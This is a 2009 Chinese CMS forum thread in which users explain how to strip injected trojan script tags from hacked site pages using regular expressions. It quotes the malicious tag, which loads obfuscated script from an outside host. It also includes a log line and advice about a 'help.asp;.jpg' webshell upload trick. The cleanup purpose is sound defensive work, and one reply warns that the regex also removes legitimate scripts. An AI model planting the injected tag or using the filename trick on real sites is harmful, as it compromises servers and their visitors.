当前位置：
|
主题：三分钟清除您网站中木马的页面，正则朋友请看 [收藏主题]  |
转到： |
 <script src="http://www.icxxw.com/ima%67es/lo%67o.swf" type="text/javascript" language="JavaScript" id="seraph5script9727" ></script>
<(script|iframe) +[^>]*www.icxxw.com[^>]*>[^<]*</\1> 或者更快捷全面的是： <(script|iframe) +[^>]*seraph[^>]*>[^<]*</\1>
剩下的就是.js文件了 这个正确的正则应该是：
也就是前后多了：document.writeln('和'); 若能突破，将会是最快的清除现在科讯中马的页面的方法！
最终解决方法如下：三分钟搞定
ultraedit在文件中替换，选ultraedit正则：
搜搜索文档类型：*.asp;*.htm;*.html;*.js;
第一正则：document.writeln('<script*seraph*><\/script>');
第二正则：<script*seraph*></script>
2个按钮中马页面统统恢复，不用谢我，好东西一起分享！
|
|
 支持(0) |  反对(0)
 顶端  底部
|
![电子邮件:[ abc1988@sohu.com ]](http://bbs.kesion.com/club/images/email.gif){kind=small}
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
![QQ号码:[ 757090 ]](http://bbs.kesion.com/club/images/qq.gif){kind=small}
|
支持(0) | 反对(0)
顶端 底部
|
 ultraedit在文件中替换，选ultraedit正则：
搜搜索文档类型：*.asp;*.htm;*.html;*.js;
第一正则：document.writeln('<script*seraph*><\/script>');
第二正则：<script*seraph*></script>
2个按钮中马页面统统恢复，不用谢我，好东西一起分享！ |
|
|
支持(0) | 反对(0)
顶端 底部
|
 这个方法不可靠
会把 <script src="/ks_inc/ajax.js" type="text/javascript"></script>
我考虑过楼主的方法
不可行的
治标不治本 |
|
|
支持(0) | 反对(0)
顶端 底部
|
|
2009-09-16 07:51:03 W3SVC2111342725 212.184.32.19 POST /cla/Images/Pannel/help.asp;.jpg - 80 - 58.61.36.103 - 404 0 2
|
|
|
支持(0) | 反对(0)
顶端 底部
|
|
支持(0) | 反对(0)
顶端 底部
|
|
以下是引用abc1988在2009-9-16 17:07:00的发言：
后门文件在哪里？请知道的朋友互相告知！谢谢
每个网站被放的位置可能不同,先用后台的在线木马查找
还有uploadfiles目录下,应该有存在*.asp;*.jpg之类的文件,要及时删除 |
|
|
支持(0) | 反对(0)
顶端 底部
|
| ＜上一主题 | 下一主题 ＞ |